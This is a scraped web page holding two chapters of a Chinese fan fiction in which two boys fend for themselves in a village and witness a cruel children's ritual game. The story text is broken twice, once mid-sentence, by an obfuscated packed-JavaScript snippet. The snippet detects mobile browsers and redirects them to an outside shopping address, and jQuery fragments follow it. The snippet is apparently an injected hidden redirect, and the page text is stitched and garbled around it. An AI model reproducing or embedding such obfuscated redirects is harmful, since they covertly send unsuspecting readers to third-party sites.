;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378148|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
渍。
里香将木桶放在了院子中,开心地绕着乙骨忧太转来转去。
虎杖悠仁将摞好的床单被罩顶在脑袋上,扶着它们冲了过来。
“里香好厉害。”乙骨忧太摸了摸里香白色的皮肤,这样试探性的触摸得到了里香的应允,它似乎非常喜欢这样的亲密接触。
这双能够轻易摧毁石头垒成的井壁的手,也能温柔地搬动脆弱的木头。
如果里香真的是“诅咒”自己的幽灵,那他也不应该去恐惧它。如果它让别人受伤,那肯定也是他的问题。
没有洗衣机,也没有能搓衣服的板子,他们只能选择简单地将床单浸湿,打上肥皂之后浸泡,站到桶里用脚揉踩来达到清洗的目的。
事实证明这个大木桶他们买的很合适,在将床单、被罩和枕巾之类的东西都丢进去之后,虎杖悠仁踩在上面还能有半个身子在桶里。这样的话用它来泡澡就不是不可能的事情。
浴室里的水管可以流出热水,虽然可能热水有限,但仅供他们洗澡接水仍旧是绰绰有余的。
不过桶里只能站一个人,自告奋勇去踩床单的虎杖悠仁霸占了这项工作,并且保证自己绝对会尽最大的努力完成它。
乙骨忧太看他的样子就觉得他应该很想玩水。不知道杂货店的老板能不能帮忙修一下院子里的水管,这样的话他们就可以直接用外面的水了。
黑发的孩子决定趁这个时间去准备一下其他需要使用的东西。他踩着凳子从屋里剪掉了一根挂衣服的绳子,院子里没有可以系绳子的地方,他只能到更靠近森林的地方找间距合适的两棵树来充当立杆。
当他终于找好目标,将晾衣服的绳子鼓捣着绑在两棵树之间后,回到院子里时看到虎杖悠仁趴在桶边等着他。
“你累了吗,悠仁?正好我已经把绳子系好了,我来替你吧?”
其实虎杖悠仁并没有觉得很累,但他还是欣然同意了乙骨忧太的交换申请。踩在垫脚的硬纸板上,他用水冲干净留在脚上的肥皂水,拿毛巾擦干之后套上大了很多号的拖鞋跑回木桶旁边看乙骨忧太踩床单。
“要怎么换水呢?”切实站在地面上的时候,木桶的边缘正好卡在虎杖悠仁的肩膀旁边,他这次换成从外面趴在桶的边缘上。
果然要是外面的水管也能用就好了,乙骨忧太心道。
尽管磕磕绊绊,但他们还是让里香帮着换了三次水,直到将床单上的肥皂沫都冲走。拧干床单的工作是最简单的,里香牵住了床单的一端,乙骨忧太和虎杖悠仁扯住另一端开始旋转,重复几次,很快就将大部分水分拧了出去。
挂到乙骨忧太刚才系好的绳子上,表面有些褶皱的床单终于没有那股潮湿发霉的味道,散发着皂角的香味。
借着冲洗床单的最后一波水,他们将身上的衣服也都脱下来扔了进去,用同样的方式完成了清洗。
此时太阳已经完全升起,外面院子里的气温越来越高,逐渐变成了有些难以忍受的燥热。
他们索性将木桶搬回了浴室里,挨个洗了澡,换上了干净的衣服。
“这样的话就没办法去捉虫子了......”虎杖悠仁在乙骨忧太洗澡的时候开始搜罗制作捕虫网的材料,但他明白今天应该是用不上了。
他们的干净衣服都很有限,在那波衣服晾干之前,他们就只剩一套可以换洗的了。
洗衣服是一件很麻烦的事,里香也要来来往往帮他们接水、搬木桶,清理留在地板上的水渍也很麻烦。
生活并不是那么简单的一件事,以前爷爷会收拾好一切,现在只有他们自己了。
感觉这个上午什么都没做就要过去了呢。
屋子里拉着窗帘,可即便如此,炙热的阳光也透过深色的窗帘在地板上照射出了窗框的阴影。现在屋子里的温度还算可以接受,他们开着风扇,虎杖悠仁背对着风扇坐在风口上,感受着皮肤表面残留的水分蒸发时带来的凉意。
“坐在那里吹风会感冒的,悠仁。”乙骨忧太擦着头发说道。
他才不会生病呢!虎杖悠仁在心里默默反驳道,但还是听话地让开了风扇面前的位置。
地板已经被清理得很干净,所以他们直接坐在了地面上。
乙骨忧太还在用毛巾和自己湿漉漉的头发搏斗,忽然感觉背上一重,一具热腾腾的身体瘫了上来。
悠仁的体温真的好高......夏天也会觉得更热吧?
正想着,果不其然听到身后的孩子嘟嘟囔囔:“好凉快啊——忧太,你身上真的好凉快,像是嘎哩嘎哩君一样。”
“夏天好难熬啊......”
“不要贴过来啦,悠仁身上好热!”
背后的热源消失了,那片热乎乎的皮肤逐渐冷却下来。
虎杖悠仁转到他面前说:“那冬天的时候忧太要怎么办啊?会像个雪人一样冻手吗?”
乙骨忧太确实不太喜欢冬天,因为每到冬天他很容易生病,所以他很羡慕虎杖悠仁的健康。
“没关系,不用担心的啦,”粉发的孩子伸出手,“冬天的时候我的手很暖和,忧太只要把手给我就好喽!”
乙骨忧太毫不犹豫地握了上去。
10. 第 10 章
每次离开院子的时候,虎杖悠仁都会跑到乙骨爷爷的门前看上两眼。除了第一次从门缝里见到那个老人之后,他们就再也没有见过他了。
乙骨忧太拉着他从毒辣的太阳下离开,将粉发孩子草草挂在脖子上的帽子板正地扣到了他的头上。这是杂货店的老板送给他们的草帽,边缘很粗糙,摸起来有点扎手。
他们躲在道旁高高的叶杆阴影中穿行,可夏季的闷热并没有放过他们。
拐到村子里后,道旁的树和阴凉处多了起来,有很多老人聚集在凉亭里聊天,可离得太远,他们听不到具体说了什么。
虎杖悠仁看到了那天给他果子的老人。今天她也在盯着他。
乙骨忧太皱起眉头。
乡下的村子里都是这样的吗?除了在巨木下的神龛旁和便利店门口见到的那些孩子,他们再没有见过其他同龄人。街上几乎都是各个年龄的成年人,他们看起来也不像是去工作的样子......说起来,爷爷也是,他从来没有听到隔壁院门口那个推动时会嘎吱嘎吱响的铁门被推开的声音。
“孩子?有很多啊,不过可能他们不太爱来神社附近吧,我经常看到他们在树下玩,”宫司照例让他们进到了社务所,今天是全素的午饭,不过宫司偷偷一人给他们端了一块汉堡肉来,“为什么突然这么问?想要找小伙伴一起玩吗?”
跨过这间神社继续深入的区域乙骨忧太和虎杖悠仁还没有去过,最终只是回答说他们住的地方附近很少见到同龄人。
社务所里有一台屏幕不太大的电视,有的时候宫司会允许他们打开电视,收看新闻或者娱乐频道。
“啊,这是因为你们住的地方太靠近森林了。之前忘记叮嘱你们,千万不要往森林里去哦。”
“是因为很容易在那里迷路吗?”
“嗯……可以这么说,但更重要的是,山的深处有神明大人的居所,所以森林也是神的领地,随意进入乃是不敬,会受到惩罚和诅咒。”
他们听得似懂非懂,但男人显然并不打算继续深入解释什么。他将新煮的茶水放到桌子上,然后就离开了。
“呐,悠仁,”确认宫司的确走远了之后,乙骨忧太敲了敲用筷子戳起汉堡肉的虎杖悠仁,“你觉得怎么样?他说的以后来继承神社这件事。”
汉堡肉烤得并不是很美味,酱汁也没什么味道,不过虎杖悠仁大口咬掉了一块,咀嚼着:“......”
“......算了,你先吃饭吧。”乙骨忧太害怕他把自己呛到,坐回了座位上。
宫司的工作看起来很轻松,每次他们来到神社都能看到他不是在清理拜殿神龛,就是在打扫参道和神苑。
据男人自己形容,扫洒只是平日最基本的工作,在他们看不到的地方,供奉神明本体的本殿内的清理也是他的工作,而且管理神社内的其他神职人员也都是他的职责。不过最忙的时候还是举行祭典,大概在每年的七八月份,不光需要请出神明的御体,还有神乐舞等等活动需要他来策划和准备,如果祭典中的任何一个环节出现了问题,他都是最主要的负责人。
“不过,这样的祭典活动虽然每年都有,但规模最大的要隔上七八年才会举办一次,一生也轮不到几次。”
男人说今年正巧就到了举办规模最大的祭典的年份。
“但是,一点祭典的氛围都感觉不到。”虎杖悠仁还记得他和爷爷在老家镇上参加过的那些祭典活动。
几乎提前两个月左右,朋友们就会开始去镇上最好的服装店找戴着厚厚眼镜的老板娘订制手作浴衣,爷爷曾经拉着他也去订了一套,不过那套穿起来非常舒服的浴衣随着他个头猛窜,很快就只剩下了收藏意义。
同样也落在了仙台的新家里,再也没有机会找回来。
等到还剩一个月左右,街上的店铺就已经能够看到各式各样为了祭典而准备的特制商品,便利店和超市里会发放很多宣传单,给每一个去买东西的小朋友很多可爱的贴纸。
那个时间段里,幼稚园里的小朋友们就会带着自己拥有的贴纸去到学校和别人交换自己喜欢的图案。
只剩最后一周的时候,基本上所有的街道都充满了祭典的元素。挂在商铺雨棚上的祭典娃娃会在活动结束后被送给孩子们,广场中心已经用粉笔和彩色胶带贴出了零食车摆放的位置,成堆的烟花被放到了空地上,路边的宣传栏上贴满和祭典有关的海报。
在祭典上吃了什么小吃,看了什么表演,参加了什么活动,虎杖悠仁都已经记不太清了。他只记得那个热闹又拥挤的晚上,他昂首,从人山人海中看见了无数挂在街道旁红色、黄色的灯笼以及那些在夜空中绽放的烟花。
“也许不是夏日祭,而是祭祀土地神之类的活动?可能不太适合太过热闹的氛围吧?”乙骨忧太推测道。
虎杖悠仁有点失望,不过这点坏心情很快就被乙骨忧太分到他盘子里的半块汉堡肉挤走了。
“忧太不吃吗?你也吃得太少了,怪不得这么瘦。”
短暂的高兴过后,虎杖悠仁抿着嘴巴拒绝了这半块汉堡肉的投喂。
乙骨忧太双手合十,做出请求的动作:“我已经吃不下啦,拜托悠仁帮我解决掉它吧。”
“嗯唔。”虎杖悠仁摆出一副‘都是你要求我这么做的,所以我才多吃了半块,不是我从你那里抢过来的哦’的模样,在乙骨忧太的注视下迅速解决掉了那半块汉堡肉。
当他们乖巧地询问宫司是否需要他们帮忙清理神苑的时候,男人婉言拒绝了他们。
下午没有事情做,他们隔着神社的院墙听到了一些孩童嬉笑打闹的声音,于是决定向村子的北边走走,看看能不能认识一些同龄人。
“但是,什么都不做也不太好。”路上,虎杖悠仁突然说道。
乙骨忧太知道他指的是他们现在看起来像是去神社混吃混喝的家伙。他自己倒是觉得还好,但虎杖悠仁可能比他更加“斤斤计较”一些,以前他们和祈本里香一起玩的时候,只要他和祈本里香给虎杖悠仁带了什么小零食,第二天粉发的孩子一定会拎着零食过来让他们吃。
不将他人的帮助视为自己应得的东西,同时不断地回馈着外界给予他的爱,这是乙骨忧太极为羡慕的品质。
“嗯,可能因为我们现在太小了,”乙骨忧太宽慰他,“你看,悠仁你还没有神社的扫把高,宫司他们可能担心你用那么大的工具不太好吧?”
这话引来虎杖悠仁忿忿不平地反驳:“家里的地都是我扫的!”
“啊,我没有说悠仁不厉害的意思?!”见粉发的小孩扭头气鼓鼓地快走了两步将他留在后面,乙骨忧太跑了两步追上去,轻声细语地哄他。
“不好意思啦,我不该说悠仁没有扫把高......”
虎杖悠仁简直要跳起来捂他的嘴巴:“不许再提身高!你根本没觉得这不对!我以后会长得比你还高的!一定!!”
乙骨忧太伸出手在他和自己的头顶之间比划了一下,耸耸肩,将溢到嘴边的笑意憋了回去:“好哦,那悠仁得多吃饭才行啊。”
“忧太!!”
不知是热的还是恼的,虎杖悠仁的脸上铺了一层薄薄的红色,粉色的头发似乎都因为乙骨忧太的笑容而四散炸起,随着男孩跑跳的动作而一颠一颠的,像极了蒲公英。
乙骨忧太突然觉得被太阳照射着的虎杖悠仁身上会像晒太阳的小猫一样,毛发被烤得暖洋洋的,手指在皮毛上梳动的时候会感受到掌心炙热的体温和指缝间滑走的冰凉触感。
“中午只吃了半块汉堡肉和素菜‘沙拉’的明明是忧太才对!”
“那可不是素菜‘沙拉’......而且我真的吃不了那么多,再吃感觉肚子都要炸掉了。”
“哼,那忧太就等着被我的个子超过去吧!”
他们一边说着,居然迎面撞上了相向而行的另一队孩子们。
虎杖悠仁一眼就认出了那天在巨木下询问他们要不要一起来玩的那个女孩。他扯扯乙骨忧太的袖子,凑过去说:“你看到那个女孩子了吗?那天就是他们。”
经他这样一提醒,乙骨忧太也想起来了。那群孩子之中就有那个捡走巨木上掉到他们脚边的那颗果子的男孩。
显然,缺了颗门牙的男孩也认出了他们,并且主动向他们这边走了过来。其他的孩子见状都渐渐地停下了交谈,像是凉亭下坐着的老人们一样,用一种奇怪的眼神看着他们。
尽管乙骨忧太已经发誓不再恐惧里香,但害怕对他人造成伤害、心中无法抹去的创伤难以被轻易治愈,因此面对走过来的男孩和围在周围的其他人,他还是下意识地向后退了一步。
一只手挡在了那男孩的身前。虎杖悠仁没在笑,他生来就有一双凌厉的眼睛,可因为平时太过开朗,又囿于这张脸上仍未褪去的胖胖脸颊肉,总会有人忘记其实他并不是那么好惹的孩子。
“怎么了?”虎杖悠仁率先开口,不笑起来的时候很有压迫感。
里香因为乙骨忧太的动摇和退缩而有些不安定,虎杖悠仁将男孩挡在了比较安全的地方。
“你们是哪家的?”他说话的时候仍有些字音说不清楚,滑稽的句子让跟在他身后的孩子们没忍住偷偷笑了起来。
“我们住在山腰上的那个红房子旁边,”虎杖悠仁抬起手往后指了指,“他是乙骨,我是虎杖。”
男孩显然也听见了同伴的调笑,当着乙骨忧太和虎杖悠仁的面缓缓红了脸,声音也变得磕磕巴巴,仿佛泄了气的皮球:“我是松下。要来加入我们吗?我们现在正要去巨木那里找果子,你们跟我一起来吧!”
乙骨忧太和虎杖悠仁稀里糊涂地加入了进来。他们跟在队尾,排在他们之前的就是那天那个小女孩,她看起来是孤身一人,其他孩子要不是在相互打闹,要不是在将路上捡到的各种野草瓜果交给松下,由他来判断能不能成为贡品。
这群孩子们好似已经习惯了这里的气温,但这对于乙骨忧太和虎杖悠仁来说实在有些难以接受,他们主动溜到了旁边的树荫下,从光影斑驳的小路跟着他们来到了巨木之下。
虎杖悠仁简直要被热化了,他瘫在乙骨忧太的胳膊上,把自己脑门的汗全都蹭在了乙骨忧太的手臂上。
“简直就是酷刑......”已经被晒得蔫哒哒的粉发孩子嘟嘟囔囔,连表达自己不满的要求都是在极为困怠的情况下脱口而出。越来越轻的尾音似乎预示着它们的主人即将步入梦乡。
因为中午多吃了半块汉堡肉,所以消化的时候会更容易让虎杖悠仁的脑部供氧不足,产生迷迷糊糊想睡觉的情况。
“今天该中美了!”
乙骨忧太带着虎杖悠仁坐了下来,他靠在树干上,调整了一下姿势,让虎杖悠仁的头可以刚刚好靠在他的肩膀上。
他摸了摸空荡荡的另一侧肩膀,摸到了几块骨头撑起皮肤、凸出来的地方。稍微有点硌手,所以他撑着虎杖悠仁的脑袋替他挪动了一下,粉色的头发径直扫向他的脸,来不及躲避的乙骨忧太终于如愿能亲自验证虎杖悠仁的头发究竟是什么味道的了。
果然是被太阳烤过的味道。
今天的太阳太毒了。
不过很快他的目光就被吸引到那群叽叽喳喳、小燕子一样吵闹的孩子们身上。中美就是站在他们前面的女孩,乙骨忧太还没想明白他们在玩什么游戏,就看见松下掏出了一条黑色的丝巾系在了中美的眼睛上。
他们将找到的还没有完全腐烂的果子放到了中美捧着的手上,围在神龛的周围。乙骨忧太隐隐约约能够听到“快走”、“开始啦”、“一圈”这样的字眼,不过因为距离实在有点远,他听到的词语无法由他自己重新拼凑成一段完整的对话。
看不见前方的中美颤颤悠悠地开始向前迈步。她双手捧着那颗未完全腐烂的果子,只不过从巨木那么高的树冠位置掉下来的果子再怎么完整,也会有汁液从裂开的缝隙里流出来,顺着她的指缝掉到了地面上。
孩子们围在她的周围为她指引方向,可在七嘴八
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378149|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舌的提示声中,中美显然难以接收到有效的信息,没办法用手探路给自己带来安全感,脚下越来越举步维艰,仅仅是跨越一条小小的树根都让这个女孩身体不稳、险些摔倒两三次。
从松下他们的表情和隐约听见的话来看,他们似乎也觉得中美的行走速度太慢了,可即便如此也没有一个人上手去将她带到正确的路线上,只是看她被脚下无数盘根错节的树根一次又一次地拌倒。
耳边的呼吸声依旧沉稳有力,虎杖悠仁的睡眠质量好得出奇。因为不想吵醒他,所以乙骨忧太只是维持原来的姿势留在了阴凉处避暑,远远地看着那群孩子们逐渐消失在了巨木的另一侧。
他们难道是想让那个女孩这样绕着巨木走上一圈?而且还是不能看路、不能用手摸索的情况下?
他们究竟是在玩什么游戏呢?
乙骨忧太睁着眼睛等了一会儿,觉得如果以中美刚才的速度,他们不知道要花多长时间才能完成绕树一周的目标。
在等待的过程中,眼皮逐渐沉重起来。黑发的孩子将脸靠在了身侧人的头顶上,他们两个就这样在树下睡着了。
叫醒乙骨忧太的是晒到腿上来的太阳。午后的阳光直直射下,树荫的影子随着太阳的移动而改变了面积和方向,这就是乙骨忧太感觉到自己的小腿被日光炙烤的原因。
总感觉晚上会做自己的腿被烤熟了的噩梦......乙骨忧太打了个激灵,连忙甩甩头,将这可怕的预感抛之脑后。
他的动作幅度大了一些,叫醒了已经补充完能量的虎杖悠仁。
乙骨忧太这一觉只觉得肩麻颈痛头还晕,一副睡了午觉醒不过来的模样。然而虎杖悠仁就像经历了关机重启,重新充满了无处安放的热情。
他的脸上还留着被乙骨忧太的肩膀硌出来的印记,毫无自觉地顶着红色的痕迹四处张望:“他们都走了?抱歉忧太,我实在是太困了......”
虎杖悠仁没有看到其他孩子的身影,乙骨忧太揉着肩膀站了起来:“不,他们只是绕到这棵树的后面去了。没想到我也睡着了,不过他们居然还没有回来吗?”
其实乙骨忧太并不清楚那些孩子们的目的地。他们只是从巨木这一侧的神龛出发而已,不过也很巧合,他话音刚落就看见有一些人影从巨木的另一侧出现了。
女孩的膝盖、手肘和裸露在外的皮肤上满是血痕,一些伤口严重的地方已经开始往外渗血,眼睛上的黑布被泪水洇湿了一大片。
“这些家伙......在干什么呢?!”
虎杖悠仁跳了起来,立刻想要冲上去帮忙,然而乙骨忧太却拦腰截住了他,将他摁在原地。
“?”出于信任,虎杖悠仁完全放松了下来。虽然不知道乙骨忧太为什么拦住自己,但他还是下意识地选择听从了对方的决定。
乙骨忧太只是摁着虎杖悠仁的肩膀。他也不太清楚如何向对方解释自己的行为,只是莫名觉得不要靠近比较好。
那群孩子走得近了些,仍停留在原地的乙骨忧太和虎杖悠仁能听到他们说的话。
虎杖悠仁露出疑惑不解的表情。
松下那几个孩子一直在鼓励中美。他们大声为她加油,乙骨忧太能够听出他们的声音已经开始沙哑。不止中美,他们所有人都在午后毒辣的太阳下持续行走,同时还要不停地给女孩指明方向。他们都满头大汗,同样疲惫不堪。
乙骨忧太松开手,和皱着眉头的虎杖悠仁对视了一眼,因为这奇怪又不明所以的“玩乐”活动变得迟疑。
女孩踉踉跄跄,几乎只是在机械性地移动着双腿。
虎杖悠仁的目光从中美流血的双腿上移开,关注到几乎所有其他的孩子们膝盖或小腿上都贴着纱布或者创可贴。松下的腿上更能看到大片已经结痂的擦伤,疤痕的边缘略微发白,那是伤口刚刚开始愈合的表现。
他很快便聪明地意识到这个活动在这些孩子们眼中是和躲避球、捉迷藏或者踢罐子一样的,再正常不过的某种“游戏”。
乙骨忧太和虎杖悠仁彻底打消了继续靠近的念头。中美他们的目的地果然就是出发时的那个神龛,似乎是听到了松下他们说很快就要接近终点,女孩提起最后的力气,催动已经接近透支的身体迈出了最后几步,最终不堪重负般地倒在了神龛前,手中捧着的果子掉在了地上,向前滚动了出去。
周围的孩子们终于一拥而上,有几个孩子追随着那已经烂了半侧的果子低头向前跑,突然有一只手替他们拦住了那个果子。
虎杖悠仁弯腰替他们将其捡了起来,放到了面前的男孩手中。
眉毛很粗的男孩双手握着烂果子,将它护在了胸前,非但不说感谢的话,那副模样反倒像是在防备着虎杖悠仁重新将它抢回去似的。
见虎杖悠仁不解地睁着眼睛,粗眉毛男孩有些恶狠狠地扔下一句“你们看什么看?!”后转身就跑。
虎杖悠仁竖起眉毛,这样直白的讨厌让他有些生气。
乙骨忧太抱着自己的胳膊,没有留意到身后已经冒出头来的里香也和粉发的孩子一样感到愤怒。
它被孩童的恶意刺激着,嘴中发出的低吼终于引起了乙骨忧太的注意,慌忙开始安抚它。
虎杖悠仁拉起乙骨忧太的手,扯着他转身就走。
“我不喜欢他们,”虎杖悠仁跑在前面,说着说着低下了头,“我也不喜欢那个游戏!”
他通常是个很好说话、和谁都能成为朋友的孩子,可面对村子里的其他孩子,他却生不出一点想要同他们做朋友的冲动。
他觉得那些孩子们身上有他觉得很可怕的东西,更重要的是,他觉得自己会很讨厌他们。
乙骨忧太离开前回了一次头。中美的身影被围在了孩子们中间,拿走果子的粗眉毛去了神龛前,背对着他们,不知道究竟做了什么。
虽然有点遗憾,但......乙骨忧太将头转了回来。
那种被排斥的感觉是不会作假的,毕竟乙骨忧太已经太过熟悉它了。
11. 第 11 章
他们一口气直接跑回了家,上午刚刚换好的衣服又一次被汗水浸湿。院子里的井经过昨晚里香的爆发彻底无法使用,筑成井口的砖石大部分都掉进了井里,上面的工具也被破坏得七七八八。
上午晾起来的床单已经被烤得暖烘烘的了,晚上睡觉之前肯定能彻底干透。
这是个好消息。
他们的院子和乙骨爷爷住的红房子也是分隔开的,院子的边缘是不知道谁扎的竹篱笆,粗壮的竹筒几乎要有虎杖悠仁两条手臂那么宽,深深戳进了地面,用麻绳和藤条之类的东西死死捆绑在了一起。
篱笆围墙外有大约三四米宽的空地,生了有小腿肚那么高的杂草,但比起更远处逐渐繁茂起来的树林来说要显得空旷许多。
乙骨忧太是在树林边缘拉起的晾衣绳,现在他们发现待在林子里要比待在其他地方都凉快。
门前的土路向下就通向村子,向上仍能往前走,看样子通向覆盖着山顶的森林,不过乙骨忧太和虎杖悠仁还没来得及尝试往另一个方向走过。
“我们往上走走好不好?”虎杖悠仁突发奇想,拉着乙骨忧太请求道。
“诶?可以是可以,但我总觉得......”乙骨忧太看了看隐没在密林之中的小路,有些犹豫地说:“这样的森林里会有野猪或者蛇之类的东西吧?连那座山上偶尔都会有人看到小蛇,乡下的山就更不用说了。”
提起那座山,虎杖悠仁突然打了一个寒颤。
“那我们还是回家吧!”他的笑容有点勉强,眼神也飘忽起来:“正好我来教忧太怎么做捕虫网,或者我们可以到村子的那条小河旁边看看,没准这里也有小龙虾之类的呢!”
他挽起乙骨忧太的手臂,几乎是扯着黑发的孩子远离了那条上山的小路。
可惜,他们并没有找到可以用来制作捕虫网的趁手工具。直到他们想要制作一些手工的小玩意儿时才发现家里连一把剪刀都没有,用来充当网子的纱布、固定形状的铁丝和胶带也没有,木棍反倒是最好找的东西。
乙骨忧太找来纸笔想要记下还需要买哪些东西,两个人就趴在小桌子上掰着指头数来数去。
虎杖悠仁把所有的钱都翻了出来,坐在乙骨忧太对面开始细致地数他们的“存款”。
两张福泽谕吉,三张樋口一叶,再加上各式各样零散的硬币。两个对钱没什么概念的孩子也不知道这些钱够他们生活多久。他们现在最大的支出就是家中的各种生活用品,刚住进来时乍一看好像什么都不缺,但“能住的房间”和真正的“家”是不一样的。
乙骨忧太一笔一划地写着清单,他还将这些天买来的其他东西也列了出来,挨个标上了价格,这样就能知道他们在不知不觉间究竟花了多少钱。
午饭和晚饭可以去神社吃,早上吃便利店买来的面包。
以后要不要再买些牛奶呢?
他想了想,又写上了更换水管和清理浴缸。也许他们可以请教杂货店的老板应该如何清理一个满是发黄污渍的旧浴缸,他们也不能一直都在那个木桶里洗澡。
再换个可以淋浴的喷头?
乙骨忧太看着正在费力数清那些硬币的虎杖悠仁,手中的笔渐渐停了下来,改为撑着下巴围观他数硬币。
粉发孩子用指尖拨弄那些圆圆的钱币,两只眼睛瞪得比平常大一些,似乎睁大眼睛就能保证不会漏看任何东西,显得有些笨拙而认真。
看着看着,乙骨忧太突然想到母亲交给爷爷的那些钱。说是每个月会给他一部分零花钱,但事情的发展其实自从他们见到乙骨爷爷的时候就开始产生了不同的走向。
他没想到他们需要自己想办法解决餐食,而且来了这么多天他还没能和家里通过话。爷爷家肯定有电话,但他有些畏惧去敲隔壁的房门,也不太敢去问那个看起来并不好相处的老人拿回自己的生活费。
存款里的大部分是虎杖悠仁从孔时雨那里拿到的来自妈妈的零花钱,乙骨母亲给的占了一小部分。
乙骨忧太似乎打开了全新的视角来看待生活。他又开始想着他们的衣服,他和虎杖悠仁都只有夏装,等到了秋天甚至冬天,御寒的衣物都是必不可少的。而且还有被子,同样也需要购入冬天盖的厚被子才行,而且这村子里不一定能找到卖厚被子的地方。
对了,还有药箱。如果他们生病了,必须要有能够缓解症状的药物和遮挡创口的纱布或创可贴才行。
不过这些并不是现下最重要的、不买不行的东西。如果他们小心一些,能够安全地度过这个冬天,来年开春他们就能回去上学了。
只要等到来年春天......
乙骨忧太有些焦虑地咬着手指。
这样古怪的习惯让虎杖悠仁从硬币堆中抬起头来,侧头有些担忧地问:“忧太,你没事吧?”
他从没见过黑发孩子这样焦虑的模样,难道是......?!
“难道说?!我们这几天花了太多的钱吗?!”
虎杖悠仁以前从来没有为了零花钱而发愁的时候,爷爷总是对他有求必应,恰好他也不是不能控制自己随意乱花钱的类型,所以他们从来没有因为零花钱的事而吵过架。
“不!当然不是啦!”乙骨忧太连连否认,吃饭才应该是最大的花销,但是神社帮他们免去了这部分的费用,而日常用品的补充对他们来说大多都是一次性的。他想到这里,翻到了列在清单上的“淋浴花洒”,想了想还是将它划掉了。
连带着水管和浴缸清理也被统统划掉。
如果不考虑在这里长久地住下去,其实并不需要在意太多这些细节上的问题。
“我觉得这些钱应该足够我们待到明年了,”乙骨忧太向虎杖悠仁展示了一下他列出的清单,粉发的孩子托着下巴快速扫了一眼,“我们晚上......不,我晚上会再去找爷爷的。”
得试着要到生活费,顺便看看能不能打个电话。
他很担心父亲和妹妹。
就在他正在为自己做心理建设的时候,一只小手握了上来。是熟悉的、偏高的温度。
“别担心!”虎杖悠仁露出两颗明显尖锐一些的虎牙笑道:“我会陪着忧太一起去的!两个人一起的话就不会害怕了!”
“嗯。”焦躁与不安在那一瞬间被击溃了。
可惜的是他们晚上并没有如愿以偿敲开红房子的房门。那个老人不知是睡得太早太熟还是并不在家,他们推开生锈严重的铁制院门,在连接处的刺耳咯吱声中敲了很久,但始终没能得到回应。
清晨洗漱完毕,虎杖悠仁就拉着乙骨忧太往山脚跑。
趁着太阳的光芒还没有那么毒辣,他们跑进了一片花田。这块看似无人打理的土地内长满了各式各样的野花,小小的花朵没有经过人类的精心栽培,花瓣伸展不开,挤挤挨挨地凑在一起。
但这样随意生长的花丛,颜色倒是最自由的。
虎杖悠仁将自己埋入花的海洋,逐个扒拉它们看花瓣的颜色。纯色的很少很少,大部分都是两种甚至三种颜色混合在一起,就像有人在经过这里时不小心打翻了颜料,随性又意外地将这些花染出了极少重复的复杂颜色。
清晨的潮气很快就沾满了两个孩子的身体,乙骨忧太偶尔还能感觉到挂在花瓣上的水珠被他无意识地蹭到了腿上,直到有水珠顺着皮肤滚落,留下清凉的痒意时才留意到吵醒这片花田需要付出的“代价”。
虎杖悠仁举起了一根细长的木棍,将它插在了土地里。木棍的另一端挂了一根线,绑住了一张白色的布片。
“等到有风把它吹起来就好了,”虎杖悠仁指了指流连于远处的白色小蝴蝶,“很快就能把它们引过来的!”
没见过这种做法的乙骨忧太半信半疑,不过仍旧觉得虎杖悠仁很厉害。钓小龙虾的方法也是虎杖悠仁教给他的,粉发的孩子似乎天生就知道很多有趣的消磨时间的方法。
“在城市里很少找到这样的地方,忧太没见过也很正常啊。”他们蹲在一旁等待着,像两个“发育不良”就被迫出来工作的稻草人一样。
今天的风不大,却也足够吹起那根细线和拴在末尾的白色织物。
它像一条被鱼线勾住的白色小鱼,无法挣脱,便只能随波逐流。
很快,这道白色的影子吸引来了一只蝴蝶。它扑扇着翅膀,坠在了上下飘动的织物后面。陆陆续续又有几只也飞了过来,在后面排成了一条长队。
“是不是很神奇?”虎杖悠仁指着那条蝴蝶队伍对乙骨忧太说道:“其实它们也不知道排在那里有什么用吧?”
乙骨忧太突然想到:“啊!这不就跟‘那个’一样吗?假如走在路上突然看见有人抬起头,别人也会不自觉地抬起头看看天上到底有什么,结果那个人只是因为不想让鼻血流到衣服上而已!”
虎杖悠仁将木棍从地上抽出,随意在周围甩动,那些蝴蝶也锲而不舍地跟在后面。
他们在花丛中待了很久,直到头顶太阳散发的热量将朝露的水汽尽数烤干,他们才收起了那块白色的织物,继续去山脚下找合适的地方钓龙虾玩。
顺着水流的声音,他们摸索着走到了小溪旁。
“这里的水居然只到脚腕,根本没有什么危险嘛,”虎杖悠仁脱掉鞋子,直接踏入了溪流中,“但是这样肯定也找不到什么龙虾了......也许会有小鱼之类的?不过小鱼很难抓诶,必须得有抄网才行。嘿嘿,我很擅长捞金鱼的!如果祭典上有捞金鱼的活动,我一定要让你见识一下才行!”
溪流的水冰凉,消解了不少夏日的酷热,水质也比村口看见的浑浊河水好上不少。周围还有能将他们完全盖住的香蒲和芦苇,像是天然的屏障,高大的茎秆为他们撑起了一片秘密的去处。
虎杖悠仁兴致勃勃地挨个翻开那些石块,轻轻拨弄水草的根部,寻找藏在其中的小鱼和螺类。
他们没有抄网,只带了两个自制的钓虾工具和空水瓶,但这里的水太浅,周围也没有找到藏匿在植物根部的虾。螺类倒是很多,他们两个人摸了满满两大罐,直到虎杖悠仁的肚子发出悠长又幽怨的鸣叫,两个人才意识到他们已经错过了
